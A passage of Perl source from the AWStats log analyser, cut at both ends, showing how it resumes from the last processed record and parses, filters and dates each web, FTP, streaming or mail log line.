= '(\d\d)(\d\d\d\d)(\d\d)(\d\d)'; } if ($Debug) { debug( "Scan for last history files into DirData='$DirData' with mask='$datemask'" ); } my $retval = opendir( DIR, "$DirData" ); if(! $retval) { error( "Failed to open directory $DirData : $!"); } my $regfilesuffix = quotemeta($FileSuffix); foreach ( grep /^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i, file_filt sort readdir DIR ) { /^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i; if ( !$ListOfYears{"$2"} || "$1" gt $ListOfYears{"$2"} ) { # ListOfYears contains max month found $ListOfYears{"$2"} = "$1"; } my $rangestring = ( $2 || "" ) . ( $1 || "" ) . ( $3 || "" ) . ( $4 || "" ); if ( $rangestring gt $lastdatebeforeupdate ) { # We are on a new max for mask $lastyearbeforeupdate = ( $2 || "" ); $lastmonthbeforeupdate = ( $1 || "" ); $lastdaybeforeupdate = ( $3 || "" ); $lasthourbeforeupdate = ( $4 || "" ); $lastdatebeforeupdate = $rangestring; } } close DIR; # If at least one file found, get value for LastLine if ($lastyearbeforeupdate) { # Read 'general' section of last history file for LastLine &Read_History_With_TmpUpdate( $lastyearbeforeupdate, $lastmonthbeforeupdate, $lastdaybeforeupdate, $lasthourbeforeupdate, 0, 0, "general" ); } # Warning if lastline in future if ( $LastLine > ( $nowtime + 20000 ) ) { warning( "WARNING: LastLine parameter in history file is '$LastLine' so in future. May be you need to correct manually the line LastLine in some awstats*.$SiteConfig.conf files." ); } # Force LastLine if ( $QueryString =~ /lastline=(\d{14})/i ) { $LastLine = $1; } if ($Debug) { debug("Last year=$lastyearbeforeupdate - Last month=$lastmonthbeforeupdate"); debug("Last day=$lastdaybeforeupdate - Last hour=$lasthourbeforeupdate"); debug("LastLine=$LastLine"); debug("LastLineNumber=$LastLineNumber"); debug("LastLineOffset=$LastLineOffset"); debug("LastLineChecksum=$LastLineChecksum"); } # Init vars &Init_HashArray(); #------------------------------------------ # UPDATE PROCESS #------------------------------------------ my $lastlinenb = 0; my $lastlineoffset = 0; my $lastlineoffsetnext = 0; if ($Debug) { debug( "UpdateStats is $UpdateStats", 2 ); } if ( $UpdateStats && $FrameName ne 'index' && $FrameName ne 'mainleft' ) { # Update only on index page or when not framed to avoid update twice my %MonthNum = ( "Jan", "01", "jan", "01", "Feb", "02", "feb", "02", "Mar", "03", "mar", "03", "Apr", "04", "apr", "04", "May", "05", "may", "05", "Jun", "06", "jun", "06", "Jul", "07", "jul", "07", "Aug", "08", "aug", "08", "Sep", "09", "sep", "09", "Oct", "10", "oct", "10", "Nov", "11", "nov", "11", "Dec", "12", "dec", "12" ) ; # MonthNum must be in english because used to translate log date in apache log files if ( !scalar keys %HTMLOutput ) { print "Create/Update database for config \"$FileConfig\" by AWStats version $VERSION\n"; print "From data in log file \"$LogFile\"...\n"; } my $lastprocessedyear = $lastyearbeforeupdate || 0; my $lastprocessedmonth = $lastmonthbeforeupdate || 0; my $lastprocessedday = $lastdaybeforeupdate || 0; my $lastprocessedhour = $lasthourbeforeupdate || 0; my $lastprocesseddate = ''; if ( $DatabaseBreak eq 'month' ) { $lastprocesseddate = sprintf( "%04i%02i", $lastprocessedyear, $lastprocessedmonth ); } elsif ( $DatabaseBreak eq 'year' ) { $lastprocesseddate = sprintf( "%04i%", $lastprocessedyear ); } elsif ( $DatabaseBreak eq 'day' ) { $lastprocesseddate = sprintf( "%04i%02i%02i", $lastprocessedyear, $lastprocessedmonth, $lastprocessedday ); } elsif ( $DatabaseBreak eq 'hour' ) { $lastprocesseddate = sprintf( "%04i%02i%02i%02i", $lastprocessedyear, $lastprocessedmonth, $lastprocessedday, $lastprocessedhour ); } my @list; # Init RobotsSearchIDOrder required for update process @list = (); if ( $LevelForRobotsDetection >= 1 ) { foreach ( 1 .. $LevelForRobotsDetection ) { push @list, "list$_"; } push @list, "listgen"; # Always added } foreach my $key (@list) { push @RobotsSearchIDOrder, @{"RobotsSearchIDOrder_$key"}; if ($Debug) { debug( "Add " . @{"RobotsSearchIDOrder_$key"} . " elements from RobotsSearchIDOrder_$key into RobotsSearchIDOrder", 2 ); } } if ($Debug) { debug( "RobotsSearchIDOrder has now " . @RobotsSearchIDOrder . " elements", 1 ); } # Init SearchEnginesIDOrder required for update process @list = (); if ( $LevelForSearchEnginesDetection >= 1 ) { foreach ( 1 .. $LevelForSearchEnginesDetection ) { push @list, "list$_"; } push @list, "listgen"; # Always added } foreach my $key (@list) { push @SearchEnginesSearchIDOrder, @{"SearchEnginesSearchIDOrder_$key"}; if ($Debug) { debug( "Add " . @{"SearchEnginesSearchIDOrder_$key"} . " elements from SearchEnginesSearchIDOrder_$key into SearchEnginesSearchIDOrder", 2 ); } } if ($Debug) { debug( "SearchEnginesSearchIDOrder has now " . @SearchEnginesSearchIDOrder . " elements", 1 ); } # Complete HostAliases array my $sitetoanalyze = quotemeta( lc($SiteDomain) ); if ( !@HostAliases ) { warning( "Warning: HostAliases parameter is not defined, $PROG choose \"$SiteDomain localhost 127.0.0.1\"." ); push @HostAliases, qr/^$sitetoanalyze$/i; push @HostAliases, qr/^localhost$/i; push @HostAliases, qr/^127\.0\.0\.1$/i; } else { unshift @HostAliases, qr/^$sitetoanalyze$/i; } # Add SiteDomain as first value # Optimize arrays @HostAliases = &OptimizeArray( \@HostAliases, 1 ); if ($Debug) { debug( "HostAliases precompiled regex list is now @HostAliases", 1 ); } @SkipDNSLookupFor = &OptimizeArray( \@SkipDNSLookupFor, 1 ); if ($Debug) { debug( "SkipDNSLookupFor precompiled regex list is now @SkipDNSLookupFor", 1 ); } @SkipHosts = &OptimizeArray( \@SkipHosts, 1 ); if ($Debug) { debug( "SkipHosts precompiled regex list is now @SkipHosts", 1 ); } @SkipReferrers = &OptimizeArray( \@SkipReferrers, 1 ); if ($Debug) { debug( "SkipReferrers precompiled regex list is now @SkipReferrers", 1 ); } @SkipUserAgents = &OptimizeArray( \@SkipUserAgents, 1 ); if ($Debug) { debug( "SkipUserAgents precompiled regex list is now @SkipUserAgents", 1 ); } @SkipFiles = &OptimizeArray( \@SkipFiles, $URLNotCaseSensitive ); if ($Debug) { debug( "SkipFiles precompiled regex list is now @SkipFiles", 1 ); } @OnlyHosts = &OptimizeArray( \@OnlyHosts, 1 ); if ($Debug) { debug( "OnlyHosts precompiled regex list is now @OnlyHosts", 1 ); } @OnlyUsers = &OptimizeArray( \@OnlyUsers, 1 ); if ($Debug) { debug( "OnlyUsers precompiled regex list is now @OnlyUsers", 1 ); } @OnlyUserAgents = &OptimizeArray( \@OnlyUserAgents, 1 ); if ($Debug) { debug( "OnlyUserAgents precompiled regex list is now @OnlyUserAgents", 1 ); } @OnlyFiles = &OptimizeArray( \@OnlyFiles, $URLNotCaseSensitive ); if ($Debug) { debug( "OnlyFiles precompiled regex list is now @OnlyFiles", 1 ); } @NotPageFiles = &OptimizeArray( \@NotPageFiles, $URLNotCaseSensitive ); if ($Debug) { debug( "NotPageFiles precompiled regex list is now @NotPageFiles", 1 ); } # Precompile the regex search strings with qr @RobotsSearchIDOrder = map { qr/$_/i } @RobotsSearchIDOrder; @WormsSearchIDOrder = map { qr/$_/i } @WormsSearchIDOrder; @BrowsersSearchIDOrder = map { qr/$_/i } @BrowsersSearchIDOrder; @OSSearchIDOrder = map { qr/$_/i } @OSSearchIDOrder; @SearchEnginesSearchIDOrder = map { qr/$_/i } @SearchEnginesSearchIDOrder; my $miscquoted = quotemeta("$MiscTrackerUrl"); my $defquoted = quotemeta("/$DefaultFile[0]"); my $sitewithoutwww = lc($SiteDomain); $sitewithoutwww =~ s/www\.//; $sitewithoutwww = quotemeta($sitewithoutwww); # Define precompiled regex my $regmisc = qr/^$miscquoted/; my $regfavico = qr/\/favicon\.ico$/i; my $regrobot = qr/\/robots\.txt$/i; my $regtruncanchor = qr/#(\w*)$/; my $regtruncurl = qr/([$URLQuerySeparators])(.*)$/; my $regext = qr/\.(\w{1,6})$/; my $regdefault; if ($URLNotCaseSensitive) { $regdefault = qr/$defquoted$/i; } else { $regdefault = qr/$defquoted$/; } my $regipv4 = qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; my $regipv4l = qr/^::ffff:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; my $regipv6 = qr/^[0-9A-F]*:/i; my $regveredge = qr/edge\/([\d]+)/i; my $regvermsie = qr/msie([+_ ]|)([\d\.]*)/i; #my $regvermsie11 = qr/trident\/7\.\d*\;([+_ ]|)rv:([\d\.]*)/i; my $regvermsie11 = qr/trident\/7\.\d*\;([a-zA-Z;+_ ]+|)rv:([\d\.]*)/i; my $regvernetscape = qr/netscape.?\/([\d\.]*)/i; my $regverfirefox = qr/firefox\/([\d\.]*)/i; # For Opera: # OPR/15.0.1266 means Opera 15 # Opera/9.80 ...... Version/12.16 means Opera 12.16 # Mozilla/5.0 .... Opera 11.51 means Opera 11.51 my $regveropera = qr/opera\/9\.80\s.+\sversion\/([\d\.]+)|ope?ra?[\/\s]([\d\.]+)/i; my $regversafari = qr/safari\/([\d\.]*)/i; my $regversafariver = qr/version\/([\d\.]*)/i; my $regverchrome = qr/chrome\/([\d\.]*)/i; my $regverkonqueror = qr/konqueror\/([\d\.]*)/i; my $regversvn = qr/svn\/([\d\.]*)/i; my $regvermozilla = qr/mozilla(\/|)([\d\.]*)/i; my $regnotie = qr/webtv|omniweb|opera/i; my $regnotnetscape = qr/gecko|compatible|opera|galeon|safari|charon/i; my $regnotfirefox = qr/flock/i; my $regnotsafari = qr/android|arora|chrome|shiira/i; my $regreferer = qr/^(\w+):\/\/([^\/:]+)(:\d+|)/; my $regreferernoquery = qr/^([^$URLQuerySeparators]+)/; my $reglocal = qr/^(www\.|)$sitewithoutwww/i; my $regget = qr/get|out/i; my $regsent = qr/sent|put|in/i; # Define value of $pos_xxx, @fieldlib, $PerlParsingFormat &DefinePerlParsingFormat($LogFormat); # Load DNS Cache Files #------------------------------------------ if ($DNSLookup) { &Read_DNS_Cache( \%MyDNSTable, "$DNSStaticCacheFile", "", 1 ) ; # Load with save into a second plugin file if plugin enabled and second file not up to date. No use of FileSuffix if ( $DNSLookup == 1 ) { # System DNS lookup required #if (! eval("use Socket;")) { error("Failed to load perl module Socket."); } #use Socket; &Read_DNS_Cache( \%TmpDNSLookup, "$DNSLastUpdateCacheFile", "$FileSuffix", 0 ) ; # Load with no save into a second plugin file. Use FileSuffix } } # Processing log #------------------------------------------ if ($EnableLockForUpdate) { # Trap signals to remove lock $SIG{INT} = \&SigHandler; # 2 #$SIG{KILL} = \&SigHandler; # 9 #$SIG{TERM} = \&SigHandler; # 15 # Set AWStats update lock &Lock_Update(1); } if ($Debug) { debug("Start Update process (lastprocesseddate=$lastprocesseddate)"); } # Open log file if ($Debug) { debug("Open log file \"$LogFile\""); } open( LOG, "$LogFile" ) || error("Couldn't open server log file \"$LogFile\" : $!"); binmode LOG ; # Avoid premature EOF due to log files corrupted with \cZ or bin chars # Define local variables for loop scan my @field = (); my $counterforflushtest = 0; my $qualifdrop = ''; my $countedtraffic = 0; # Reset chrono for benchmark (first call to GetDelaySinceStart) &GetDelaySinceStart(1); if ( !scalar keys %HTMLOutput ) { print "Phase 1 : First bypass old records, searching new record...\n"; } # Can we try a direct seek access in log ? my $line; if ( $LastLine && $LastLineNumber && $LastLineOffset && $LastLineChecksum ) { # Try a direct seek access to save time if ($Debug) { debug( "Try a direct access to LastLine=$LastLine, LastLineNumber=$LastLineNumber, LastLineOffset=$LastLineOffset, LastLineChecksum=$LastLineChecksum" ); } seek( LOG, $LastLineOffset, 0 ); if ( $line = <LOG> ) { chomp $line; $line =~ s/\r$//; @field = map( /$PerlParsingFormat/, $line ); if ($Debug) { my $string = ''; foreach ( 0 .. @field - 1 ) { $string .= "$fieldlib[$_]=$field[$_] "; } if ($Debug) { debug( " Read line after direct access: $string", 1 ); } } my $checksum = &CheckSum($line); if ($Debug) { debug( " LastLineChecksum=$LastLineChecksum, Read line checksum=$checksum", 1 ); } if ( $checksum == $LastLineChecksum ) { if ( !scalar keys %HTMLOutput ) { print "Direct access after last parsed record (after line $LastLineNumber)\n"; } $lastlinenb = $LastLineNumber; $lastlineoffset = $LastLineOffset; $lastlineoffsetnext = tell LOG; $NewLinePhase = 1; } else { if ( !scalar keys %HTMLOutput ) { print "Direct access to last remembered record has fallen on another record.\nSo searching new records from beginning of log file...\n"; } $lastlinenb = 0; $lastlineoffset = 0; $lastlineoffsetnext = 0; seek( LOG, 0, 0 ); } } else { if ( !scalar keys %HTMLOutput ) { print "Direct access to last remembered record is out of file.\nSo searching it from beginning of log file...\n"; } $lastlinenb = 0; $lastlineoffset = 0; $lastlineoffsetnext = 0; seek( LOG, 0, 0 ); } } else { # No try of direct seek access if ( !scalar keys %HTMLOutput ) { print "Searching new records from beginning of log file...\n"; } $lastlinenb = 0; $lastlineoffset = 0; $lastlineoffsetnext = 0; } # # Loop on each log line # while ( $line = <LOG> ) { # 20080525 BEGIN Patch to test if first char of $line = hex "00" then conclude corrupted with binary code my $FirstHexChar; $FirstHexChar = sprintf( "%02X", ord( substr( $line, 0, 1 ) ) ); if ( $FirstHexChar eq '00' ) { $NbOfLinesCorrupted++; if ($ShowCorrupted) { print "Corrupted record line " . ( $lastlinenb + $NbOfLinesParsed ) . " (record starts with hex 00; binary code): $line\n"; } if ( $NbOfLinesParsed >= $NbOfLinesForCorruptedLog && $NbOfLinesParsed == $NbOfLinesCorrupted ) { error( "Format error", $line, $LogFile ); } # Exit with format error next; } # 20080525 END chomp $line; $line =~ s/\r$//; if ( $UpdateFor && $NbOfLinesParsed >= $UpdateFor ) { last; } $NbOfLinesParsed++; $lastlineoffset = $lastlineoffsetnext; $lastlineoffsetnext = tell LOG; if ($ShowSteps) { if ( ( ++$NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) == 0 ) { my $delay = &GetDelaySinceStart(0); print "$NbOfLinesParsed lines processed (" . ( $delay > 0 ? $delay : 1000 ) . " ms, " . int( 1000 * $NbOfLinesShowsteps / ( $delay > 0 ? $delay : 1000 ) ) . " lines/second)\n"; } } if ( $LogFormat eq '2' && $line =~ /^#Fields:/ ) { my @fixField = map( /^#Fields: (.*)/, $line ); if ( $fixField[0] !~ /s-kernel-time/ ) { debug( "Found new log format: '" . $fixField[0] . "'", 1 ); &DefinePerlParsingFormat( $fixField[0] ); } } # Parse line record to get all required fields if ( !( @field = map( /$PerlParsingFormat/, $line ) ) ) { # see if the line is a comment, blank or corrupted if ( $line =~ /^#/ || $line =~ /^!/ ) { $NbOfLinesComment++; if ($ShowCorrupted){ print "Comment record line " . ( $lastlinenb + $NbOfLinesParsed ) . ": $line\n"; } } elsif ( $line =~ /^\s*$/ ) { $NbOfLinesBlank++; if ($ShowCorrupted){ print "Blank record line " . ( $lastlinenb + $NbOfLinesParsed ) . "\n"; } }else{ $NbOfLinesCorrupted++; if ($ShowCorrupted){ print "Corrupted record line " . ( $lastlinenb + $NbOfLinesParsed ) . " (record format does not match LogFormat parameter): $line\n"; } } if ( $NbOfLinesParsed >= $NbOfLinesForCorruptedLog && $NbOfLinesParsed == ($NbOfLinesCorrupted + $NbOfLinesComment + $NbOfLinesBlank)) { error( "Format error", $line, $LogFile ); } # Exit with format error if ( $line =~ /^__end_of_file__/i ) { last; } # For test purpose only next; } if ($Debug) { my $string = ''; foreach ( 0 .. @field - 1 ) { $string .= "$fieldlib[$_]=$field[$_] "; } if ($Debug) { debug( " Correct format line " . ( $lastlinenb + $NbOfLinesParsed ) . ": $string", 4 ); } } # Drop wrong virtual host name #---------------------------------------------------------------------- if ( $pos_vh >= 0 && $field[$pos_vh] !~ /^$SiteDomain$/i ) { my $skip = 1; foreach (@HostAliases) { if ( $field[$pos_vh] =~ /$_/ ) { $skip = 0; last; } } if ($skip) { $NbOfLinesDropped++; if ($ShowDropped) { print "Dropped record (virtual hostname '$field[$pos_vh]' does not match SiteDomain='$SiteDomain' nor HostAliases parameters): $line\n"; } next; } } # Drop wrong method/protocol #--------------------------- if ( $LogType ne 'M' ) { $field[$pos_url] =~ s/\s/%20/g; } if ( $LogType eq 'W' && ( $field[$pos_method] eq 'GET' || $field[$pos_method] eq 'POST' || $field[$pos_method] eq 'HEAD' || $field[$pos_method] eq 'PROPFIND' || $field[$pos_method] eq 'CHECKOUT' || $field[$pos_method] eq 'LOCK' || $field[$pos_method] eq 'PROPPATCH' || $field[$pos_method] eq 'OPTIONS' || $field[$pos_method] eq 'MKACTIVITY' || $field[$pos_method] eq 'PUT' || $field[$pos_method] eq 'MERGE' || $field[$pos_method] eq 'DELETE' || $field[$pos_method] eq 'REPORT' || $field[$pos_method] eq 'MKCOL' || $field[$pos_method] eq 'COPY' || $field[$pos_method] eq 'RPC_IN_DATA' || $field[$pos_method] eq 'RPC_OUT_DATA' || $field[$pos_method] eq 'OK' # Webstar || $field[$pos_method] eq 'ERR!' # Webstar || $field[$pos_method] eq 'PRIV' # Webstar ) ) { # HTTP request. Keep only GET, POST, HEAD, *OK* and ERR! for Webstar. Do not keep OPTIONS, TRACE } elsif ( ( $LogType eq 'W' || $LogType eq 'S' ) && ( uc($field[$pos_method]) eq 'GET' || uc($field[$pos_method]) eq 'MMS' || uc($field[$pos_method]) eq 'RTSP' || uc($field[$pos_method]) eq 'HTTP' || uc($field[$pos_method]) eq 'RTP' ) ) { # Streaming request (windows media server, realmedia or darwin streaming server) } elsif ( $LogType eq 'M' && $field[$pos_method] eq 'SMTP' ) { # Mail request ('SMTP' for mail log with maillogconvert.pl preprocessor) } elsif ( $LogType eq 'F' && ( $field[$pos_method] eq 'RETR' || $field[$pos_method] eq 'D' || $field[$pos_method] eq 'o' || $field[$pos_method] =~ /$regget/o ) ) { # FTP GET request } elsif ( $LogType eq 'F' && ( $field[$pos_method] eq 'STOR' || $field[$pos_method] eq 'U' || $field[$pos_method] eq 'i' || $field[$pos_method] =~ /$regsent/o ) ) { # FTP SENT request } elsif($line =~ m/#Fields:/){ # log #fields as comment $NbOfLinesComment++; next; }else{ $NbOfLinesDropped++; if ($ShowDropped) { print "Dropped record (method/protocol '$field[$pos_method]' not qualified when LogType=$LogType): $line\n"; } next; } $field[$pos_date] =~ tr/,-\/ \tT/::::::/s; # " \t" is used instead of "\s" not known with tr my @dateparts = split( /:/, $field[$pos_date] ); # tr and split faster than @dateparts=split(/[\/\-:\s]/,$field[$pos_date]) # Detected date format: # dddddddddd, YYYY-MM-DD HH:MM:SS (IIS), MM/DD/YY\tHH:MM:SS, # DD/Month/YYYY:HH:MM:SS (Apache), DD/MM/YYYY HH:MM:SS, Mon DD HH:MM:SS, # YYYY-MM-DDTHH:MM:SS (iso) if ( !$dateparts[1] ) { # Unix timestamp ( $dateparts[5], $dateparts[4], $dateparts[3], $dateparts[0], $dateparts[1], $dateparts[2] ) = localtime( int( $field[$pos_date] ) ); $dateparts[1]++; $dateparts[2] += 1900; } elsif ( $dateparts[0] =~ /^....$/ ) { my $tmp = $dateparts[0]; $dateparts[0] = $dateparts[2]; $dateparts[2] = $tmp; } elsif ( $field[$pos_date] =~ /^..:..:..:/ ) { $dateparts[2] += 2000; my $tmp = $dateparts[0]; $dateparts[0] = $dateparts[1]; $dateparts[1] = $tmp; } elsif ( $dateparts[0] =~ /^...$/ ) { my $tmp = $dateparts[0]; $dateparts[0] = $dateparts[1]; $dateparts[1] = $tmp; $tmp = $dateparts[5]; $dateparts[5] = $dateparts[4]; $dateparts[4] = $dateparts[3]; $dateparts[3] = $dateparts[2]; $dateparts[2] = $tmp || $nowyear; } if ( exists( $MonthNum{ $dateparts[1] } ) ) { $dateparts[1] = $MonthNum{ $dateparts[1] }; } # Change lib month in num month if necessary if ( $dateparts[1] <= 0 ) { # Date corrupted (for example $dateparts[1]='dic' for december month in a spanish log file) $NbOfLinesCorrupted++; if ($ShowCorrupted) { print "Corrupted record line " . ( $lastlinenb + $NbOfLinesParsed ) . " (bad date format for month, may be month are not in english ?): $line\n"; } next; } # Now @dateparts is (DD,MM,YYYY,HH,MM,SS) and we're going to create $timerecord=YYYYMMDDHHMMSS if ( $PluginsLoaded{'ChangeTime'}{'timezone'} ) { @dateparts = ChangeTime_timezone( \@dateparts ); } my $yearrecord = int( $dateparts[2] ); my $monthrecord = int( $dateparts[1] ); my $dayrecord = int( $dateparts[0] ); my $hourrecord = int( $dateparts[3] ); my $daterecord = ''; if ( $DatabaseBreak eq 'month' ) { $daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord ); } elsif ( $DatabaseBreak eq 'year' ) { $daterecord = sprintf( "%04i%", $yearrecord ); } elsif ( $DatabaseBreak eq 'day' ) { $daterecord = sprintf( "%04i%02i%02i", $yearrecord, $monthrecord, $dayrecord ); } elsif ( $DatabaseBreak eq 'hour' ) { $daterecord = sprintf( "%04i%02i%02i%02i", $yearrecord, $monthrecord, $dayrecord, $hourrecord ); } # TODO essayer de virer yearmonthrecord my $yearmonthdayrecord = sprintf( "$dateparts[2]%02i%02i", $dateparts[1], $dateparts[0] ); my $timerecord = ( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 + $dateparts[4] ) * 100 + $dateparts[5]; # Check date #----------------------- if ( $LogType eq 'M' && $timerecord > $tomorrowtime ) { # Postfix/Sendmail does not store year, so we assume that year is year-1 if record is in future $yearrecord--; if ( $DatabaseBreak eq 'month' ) { $daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord ); } elsif ( $DatabaseBreak eq 'year' ) { $daterecord = sprintf( "%04i%", $yearrecord ); } elsif ( $DatabaseBreak eq 'day' ) { $daterecord = sprintf( "%04i%02i%02i", $yearrecord, $monthrecord, $dayrecord ); } elsif ( $DatabaseBreak eq 'hour' ) { $daterecord = sprintf( "%04i%02i%02i%02i", $yearrecord, $monthrecord, $dayrecord, $hourrecord ); } # TODO essayer de virer yearmonthrecord $yearmonthdayrecord = sprintf( "$yearrecord%02i%02i", $dateparts[1], $dateparts[0] ); $timerecord = ( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 + $dateparts[4] ) * 100 + $dateparts[5]; } if ( $timerecord < 10000000000000 || $timerecord > $tomorrowtime ) { $NbOfLinesCorrupted++; if ($ShowCorrupted) { print "Corrupted record (invalid date, timerecord=$timerecord): $line\n"; } next; # Should not happen, kept in case of parasite/corrupted line } if ($NewLinePhase) { # TODO NOTSORTEDRECORDTOLERANCE does not work around midnight if ( $timerecord < ( $LastLine - $NOTSORTEDRECORDTOLERANCE ) ) { # Should not happen, kept in case of parasite/corrupted old line $NbOfLinesCorrupted++; if ($ShowCorrupted) { print "Corrupted record (date $timerecord lower than $LastLine-$NOTSORTEDRECORDTOLERANCE): $line\n"; } next; } } else { if ( $timerecord <= $LastLine ) { # Already processed $NbOfOldLines++; next; } # We found a new line. This will replace comparison "<=" with "<" between timerecord and LastLine (we should have only new lines now) $NewLinePhase = 1; # We will never enter here again if ($ShowSteps) { if ( $NbOfLinesShowsteps > 1 && ( $NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) ) { my $delay = &GetDelaySinceStart(0); print "" . ( $NbOfLinesParsed - 1 ) . " lines processed (" . ( $delay > 0 ? $delay : 1000 ) . " ms, " . int( 1000 * ( $NbOfLinesShowsteps - 1 ) / ( $delay > 0 ? $delay : 1000 ) ) . " lines/second)\n"; } &GetDelaySinceStart(1); $NbOfLinesShowsteps = 1; } if ( !scalar keys %HTMLOutput ) { print "Phase 2 : Now process new records (Flush history on disk after " . ( $LIMITFLUSH << 2 ) . " hosts)...\n"; #print "Phase 2 : Now process new records (Flush history on disk after ".($LIMITFLUSH<<2)." hosts or ".($LIMITFLUSH)." URLs)...\n"; } } # Convert URL for Webstar to common URL if ( $LogFormat eq '3' ) { $field[$pos_url] =~ s/:/\//g; if ( $field[$pos_code] eq '-' ) { $field[$pos_code] = '200'; } } # Here, field array, timerecord and yearmonthdayrecord are initialized for log record if ($Debug) { debug( " This is a not already processed record ($timerecord)", 4 ); } # Check if there's a CloudFlare Visitor IP in the query string # If it does, replace the ip if ( $pos_query >= 0 && $field[$pos_query] && $field[$pos_query] =~ /\[CloudFlare_Visitor_IP[:](\d+[.]\d+[.]\d+[.]\d+)\]/ ) { $field[$pos_host] = "$1"; } # We found a new line #---------------------------------------- if ( $timerecord > $LastLine ) { $LastLine = $timerecord; } # Test should always be true except with not sorted log files # Skip for some client host IP addresses, some URLs, other URLs if ( @SkipHosts && ( &SkipHost( $field[$pos_host] ) || ( $pos_hostr && &SkipHost( $field[$pos_hostr] ) ) ) ) { $qualifdrop = "Dropped record (host $field[$pos_host]" . ( $pos_hostr ? " and $field[$pos_hostr]" : "" ) . " not qualified by SkipHosts)"; } elsif ( @SkipFiles && &SkipFile( $field[$pos_url] ) ) { $qualifdrop = "Dropped record (URL $field[$pos_url] not qualified by SkipFiles)"; } elsif (@SkipUserAgents && $pos_agent >= 0 && &SkipUserAgent( $field[$pos_agent] ) ) { $qualifdrop = "Dropped record (user agent '$field[$pos_agent]' not qualified by SkipUserAgents)"; } elsif (@SkipReferrers && $pos_referer >= 0 && &SkipReferrer( $field[$pos_referer] ) ) { $qualifdrop = "Dropped record (URL $field[$pos_referer] not qualified by SkipReferrers)"; } elsif (@OnlyHosts && !&OnlyHost( $field[$pos_host] ) && ( !$pos_hostr || !&OnlyHost( $field[$pos_hostr] ) ) ) { $qualifdrop = "Dropped record (host $field[$pos_host]" . ( $pos_hostr ? " and $field[$pos_hostr]" : "" ) . " not qualified by OnlyHosts)"; } elsif ( @OnlyUsers && !&OnlyUser( $field[$pos_logname] ) ) { $qualifdrop = "Dropped record (URL $field[$pos_logname] not qualified by OnlyUsers)"; } elsif ( @OnlyFiles && !&OnlyFile( $field[$pos_url] ) ) { $qualifdrop = "Dropped record (URL $field[$pos_url] not qualified by OnlyFiles)"; } elsif ( @OnlyUserAgents && !&OnlyUserAgent( $field[$pos_agent] ) ) { $qualifdrop = "Dropped record (user agent '$field[$pos_agent]' not qualified by OnlyUserAgents)"; } if ($qualifdrop) { $NbOfLinesDropped++; if ($Debug) { debug( "$qualifdrop: $line", 4 ); } if ($ShowDropped) { print "$qualifdrop: $line\n"; } $qualifdrop = ''; next; } # Record is approved #------------------- # Is it in a new break section ? #------------------------------- if ( $daterecord > $lastprocesseddate ) { # A new break to process if ( $lastprocesseddate > 0 ) { # We save data of previous break &Read_History_With_TmpUpdate( $lastprocessedyear, $lastprocessedmonth, $lastprocessedday, $lastprocessedhour, 1, 1, "all", ( $lastlinenb + $NbOfLinesParsed ), $lastlineoffset, &CheckSum($line) ); $counterforflushtest = 0; # We reset counterforflushtest } $lastprocessedyear = $yearrecord; $lastprocessedmonth = $monthrecord; $lastprocessedday = $dayrecord; $lastprocessedhour = $hourrecord; if ( $DatabaseBreak eq 'month' ) { $lastprocesseddate = sprintf( "%04i%02i", $yearrecord, $monthrecord ); } elsif ( $DatabaseBreak eq 'year' ) { $lastprocesseddate = sprintf( "%04i%", $yearrecord ); } elsif ( $DatabaseBreak eq 'day' ) { $lastprocesseddate = sprintf( "%04i%02i%02i", $yearrecord, $monthrecord, $dayrecord ); } elsif ( $DatabaseBreak eq 'hour' ) { $lastprocesseddate = sprintf( "%04i%02i%02i%02i", $yearrecord, $monthrecord, $dayrecord, $hourrecord ); } } $countedtraffic = 0; $NbOfNewLines++; # Convert $field[$pos_size] # if ($field[$pos_size] eq '-') { $field[$pos_size]=0; } # Define a clean target URL and referrer URL # We keep a clean $field[$pos_url] and # we store original value for urlwithnoquery, tokenquery and standalonequery #--------------------------------------------------------------------------- if ($URLNotCaseSensitive) { $field[$pos_url] = lc( $field[$pos_url] ); } # Possible URL syntax for $field[$pos_url]: /mydir/mypage.ext?param1=x&param2=y#aaa, /mydir/mypage.ext#aaa, / my $urlwithnoquery; my $tokenquery; my $standalonequery; my $anchor = ''; if ( $field[$pos_url] =~ s/$regtruncanchor//o ) { $anchor = $1; } # Remove and save anchor if ($URLWithQuery) { $urlwithnoquery = $field[$pos_url]; my $foundparam = ( $urlwithnoquery =~ s/$regtruncurl//o ); $tokenquery = $1 || ''; $standalonequery = $2 || ''; # For IIS setup, if pos_query is enabled we need to combine the URL to query strings if ( !$foundparam && $pos_query >= 0 && $field[$pos_query] && $field[$pos_query] ne '-' ) { $foundparam = 1; $tokenquery = '?'; $standalonequery = $field[$pos_query]; # Define query $field[$pos_url] .= '?' . $field[$pos_query]; } if ($foundparam) { # Keep only params that are defined in URLWithQueryWithOnlyFollowingParameters my $newstandalonequery = ''; if (@URLWithQueryWithOnly) { foreach (@URLWithQueryWithOnly) { foreach my $p ( split( /&/, $standalonequery ) ) { if ($URLNotCaseSensitive) { if ( $p =~ /^$_=/i ) { $newstandalonequery .= "$p&"; last; } } else { if ( $p =~ /^$_=/ ) { $newstandalonequery .= "$p&"; last; } } } } chop $newstandalonequery; } # Remove params that are marked to be ignored in URLWithQueryWithoutFollowingParameters elsif (@URLWithQueryWithout) { foreach my $p ( split( /&/, $standalonequery ) ) { my $found = 0; foreach (@URLWithQueryWithout) { #if ($Debug) { debug(" Check if '$_=' is param '$p' to remove it from query",5); } if ($URLNotCaseSensitive) { if ( $p =~ /^$_=/i ) { $found = 1; last; } } else { if ( $p =~ /^$_=/ ) { $found = 1; last; } } } if ( !$found ) { $newstandalonequery .= "$p&"; } } chop $newstandalonequery; } else { $newstandalonequery = $standalonequery; } # Define query $field[$pos_url] = $urlwithnoquery; if ($newstandalonequery) { $field[$pos_url] .= "$tokenquery$newstandalonequery"; } } } else { # Trunc parameters of URL $field[$pos_url] =~ s/$regtruncurl//o; $urlwithnoquery = $field[$pos_url]; $tokenquery = $1 || ''; $standalonequery = $2 || ''; # For IIS setup, if pos_query is enabled we need to use it for query strings if ( $pos_query >= 0 && 